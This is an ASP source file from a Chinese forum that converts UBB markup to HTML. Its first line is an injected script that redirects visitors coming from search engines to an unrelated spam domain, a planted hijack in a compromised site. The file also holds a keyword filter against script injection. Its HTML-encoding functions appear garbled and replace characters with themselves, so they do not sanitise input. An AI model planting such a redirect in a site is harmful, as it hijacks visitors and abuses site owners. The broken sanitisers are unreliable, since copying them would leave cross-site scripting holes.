d:\wwwroot\wuchunhua\code.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
function html_encode(byval s)
003:
dim hl1,hl2
004:
if isnull(s) then
005:
html_encode=""
006:
else
007:
s=replace(s,"<","<")
008:
s=replace(s,">",">")
009:
s=replace(s,chr(32)," ")
010:
s=replace(s,chr(9), " ")
011:
s=replace(s,chr(39),"'")
012:
s=replace(s,chr(34),""")
013:
s=replace(s,chr(13),"")
014:
s=replace(s,chr(10),"<br>")
015:
html_encode = s
016:
end if
017:
end function
018:
'----------------------------------------------------
019:
function cnum(s)
020:
if isnull(s) or s="" then
021:
exit function
022:
else
023:
if not isnumeric(s) then
024:
response.write"<center>非法操作导致程序中止!</center>"
025:
response.end
026:
else
027:
cnum=int(s)
028:
end if
029:
end if
030:
end function
031:
'----------------------------------------------------
032:
function text_encode(byval str)
033:
if isnull(str) then
034:
text_encode=""
035:
else
036:
str=replace(str,"&","&")
037:
str=replace(str,"<","<")
038:
text_encode=replace(str,">",">")
039:
end if
040:
end function
041:
'-----------------------------------------------------
042:
dim re
043:
function ubb(byval s)
044:
if isnull(s) or s="" then
045:
ubb = ""
046:
else
047:
ubb = ubb_code(s)
048:
end if
049:
end function
050:
'--------------------------------------------------------
051:
function ubbcode(s,uCodeL,uCodeR,tCode)
052:
re.Pattern=uCodeL&uCodeR
053:
s=re.Replace(s,"")
054:
re.Pattern=uCodeL&"(.+?)"&uCodeR
055:
s=re.Replace(s,tCode)
056:
re.Pattern=uCodeL
057:
s=re.Replace(s,"")
058:
re.Pattern=uCodeR
059:
s=re.Replace(s,"")
060:
ubbcode=s
061:
End Function
062:
'--------------------------------------------------------
063:
function ubb(byval s)
064:
dim ls
065:
set re=new regExp
066:
re.IgnoreCase=true
067:
re.Global=true
068:
if isnull(s) or s="" then
069:
ubb=""
070:
exit function
071:
end if
072:
073:
s=html_encode(s)
074:
ls=lcase(s)
075:
re.pattern="((javascript:)|(jscript:)|(object)|(js:)|(location.)|(vbscript:)|(vbs:)|(\.value)|(about:)|(file:)|(document.cookie)|(on(mouse|exit|error|click|key|load)))"
076:
s=re.replace(s,"<i>$1</i>")
077:
if instr(ls,"[/b]")>0 then s=ubbcode(s,"\[b\]","\[\/b\]","<b>$1</b>")
078:
if instr(ls,"[/i]")>0 then s=ubbcode(s,"\[i\]","\[\/i\]","<i>$1</i>")
079:
if instr(ls,"[/u]")>0 then s=ubbcode(s,"\[u\]","\[\/u\]","<u>$1</u>")
080:
if instr(ls,"[/strike]")>0 then s=ubbcode(s,"\[strike\]","\[\/strike\]","<strike>$1</strike>")
081:
if instr(ls,"[/align]")>0 then s=ubbcode(s,"\[align=(center|left|right)\]","\[\/align\]","<div style=""text-align:$1"">$2</div>")
082:
if instr(ls,"[/fly]")>0 then s=ubbcode(s,"\[fly\]","\[\/fly\]","<div style=""text-align:center""><marquee width=50% behavior=alternate scrollamount=2>$1</marquee></div>")
083:
if instr(ls,"[/move]")>0 then s=ubbcode(s,"\[move\]","\[\/move\]","<marquee scrollamount=2>$1</marquee>")
084:
if instr(ls,"[/img]")>0 then s=ubbcode(s,"\[img\](http|https|ftp):\/\/","\[\/img\]","<img src=$1://$2 border=0>")
085:
if instr(ls,"[/sound]")>0 then s=ubbcode(s,"\[sound\]","\[\/sound\]","<a href=""$1"" target=_blank><IMG SRC=images/common/mid.gif border=0 alt='背景音乐'></a><bgsound src=""$1"" loop=""-1"">")
086:
if instr(ls,"[/color]")>0 then s=ubbcode(s,"\[color=((#.{6})|.{3,6})\]","\[\/color\]","<font color=""$1"">$3</font>")
087:
if instr(ls,"[/bgcolor]")>0 then s=ubbcode(s,"\[bgcolor=((#.{6})|.{3,6})\]","\[\/bgcolor\]","<font style=""background:$1"">$3</font>")
088:
if instr(ls,"[/size]")>0 then s=ubbcode(s,"\[size=([1-7])\]","\[\/size\]","<font size=$1>$2</font>")
089:
if instr(ls,"[/url]")>0 then
090:
re.pattern="(\[url\])(http:\/\/\S+?)(\[\/url\])"
091:
s=re.replace(s,"<img src=../../images/htm.gif> <a href=""$2"" target='_blank'>$2</a>")
092:
re.pattern="\[url=(.{5,}?)\](.+?)\[/url\]"
093:
s=re.replace(s,"<img src=../../images/htm.gif> <a href=""$1"" target='_blank'>$2</a>")
094:
end if
095:
096:
if instr(ls,"[/iframe]")>0 then s=ubbcode(s,"\[iframe=*([0-9]*),*([0-9]*)\]","\[\/iframe\]","<div style=text-align:center><iframe src=$3 width=$1 height=$2 frameborder=no border=0 marginwidth=0 marginheight=0 scrolling=no></iframe></div>")
097:
if instr(ls,"[/mp]")>0 then s=ubbcode(s,"\[mp=*([0-9]*),*([0-9]*)\]","\[\/mp\]","<object Id=""Mediaplayer"" Height=""$2"" Width=""$1"" ClassId=""CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6""><param name=""AutoStart"" value=""True""><param name=""defaultFrame"" value=""right""><param name=""UIMode"" value=""MInI""><param name=""ShowStatusBar"" value=""False""><param name=""ShowControls"" value=""False""><param name=""ShowTracker"" value=""False""><param name=""EnableTracker"" value=""True""><param name=""ShowPositionControls"" value=""False""><param name=""EnablePositionControls"" value=""True""><param name=""EnableContextMenu"" value=""False""><param name=""Volume"" value=""100""><param name=""Url"" value=""$3""></object>")
098:
if instr(ls,"[/flv]")>0 then s=ubbcode(s,"\[flv=*([0-9]*),*([0-9]*)\]","\[\/flv\]","<embed width=""$1"" height=""$2"" src=""../../images/flv.swf"" type=""application/x-shockwave-flash"" flashvars=""file=$3&type=video&autostart=true&controlbar=over&image=/bbs/images/topic.jpg"" allowfullscreen=""true"" allowscriptaccess=""always""></embed>")
099:
if instr(ls,"[/rm]")>0 then s=ubbcode(s,"\[RM=*([0-9]*),*([0-9]*)\]","\[\/rm\]","<OBJECT classid=clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA id=RAOCX width=$1 height=$2>" & vbcrlf & "<PARAM NAME=SRC VALUE=$3>" & vbcrlf & "<PARAM NAME=CONSOLE VALUE=Clip1>" & vbcrlf & "<PARAM NAME=CONTROLS VALUE=imagewindow>" & vbcrlf & "<PARAM NAME=AUTOSTART VALUE=false>" & vbcrlf & "</OBJECT>" & vbcrlf & "<br>" & vbcrlf & "<OBJECT classid=CLSID:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA height=32 id=video2 width=$1>" & vbcrlf & "<PARAM NAME=SRC VALUE=$3>" & vbcrlf & "<PARAM NAME=AUTOSTART VALUE=-1>" & vbcrlf & "<PARAM NAME=CONTROLS VALUE=controlpanel>" & vbcrlf & "<PARAM NAME=CONSOLE VALUE=Clip1>" & vbcrlf & "</OBJECT>")
100:
if instr(ls,"[/ra]")>0 then s=ubbcode(s,"\[ra\]","\[\/ra\]","<object id=nstv classid=clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6 width=280 height=64 codebase=http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=5,1,52,701 standby=Loading microsoft? windows media? player components... type=application/x-oleobject><param name=URL value=$1><param name=UIMode value=full><param name=volume value=100><param name=AutoStart value=true><param name=Enabled value=true><param name=enableContextMenu value=false></object>")
101:
if instr(ls,"[/flash]")>0 then s=ubbcode(s,"\[flash=*([0-9]*),*([0-9]*)\]","\[\/flash\]","<object classid=clsid:D27CDB6E-AE6D-11cf-96B8-444553540000 codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0 width=$1 height=$2><param name=quality value=high><param name=wmode value=transparent><param name=allowscriptaccess value=never><param name=allownetworking value=internal><param name=allowfullscreen value=false><param name=SRC value=$3><embed src=$3 width=$1 height=$2 quality=high pluginspage=http://www.macromedia.com/go/getflashplayer type=application/x-shockwave-flash></embed></object>")
102:
103:
'自动识别网址
104:
If InStr(ls,"http")>0 Or InStr(ls,"https")>0 Or InStr(ls,"ftp")>0 Or InStr(ls,"rtsp")>0 Or InStr(ls,"mms")>0 Then
105:
re.Pattern = "(^|[^<=""])(((http|https|ftp|rtsp|mms):(\/\/|\\\\))(([\w\/\\\+\-~`@:%])+\.)+([\w\/\\\.\=\?\+\-~`@\':!%#]|(&)|&)+)"
106:
s = re.Replace(s,"$1<a target=_blank href=$2>$2</a>")
107:
End If
108:
'自动识别www等开头的网址
109:
If InStr(ls,"www")>0 Then
110:
re.Pattern = "(^|[^\/\\\w\=])((www|bbs)\.(\w)+\.([\w\/\\\.\=\?\+\-~`@\'!%#]|(&))+)"
111:
s = re.Replace(s,"$1<a target=_blank href=http://$2>$2</a>")
112:
End If
113:
114:
dim tuid
115:
tuid=cnum(request.cookies("tuserid"))
116:
totable=cnum(request.cookies("tb"))
117:
if totable="" or totable<1 then totable=1
118:
ubb=s
119:
set re=nothing
120:
end function
121:
%
>
122:
123: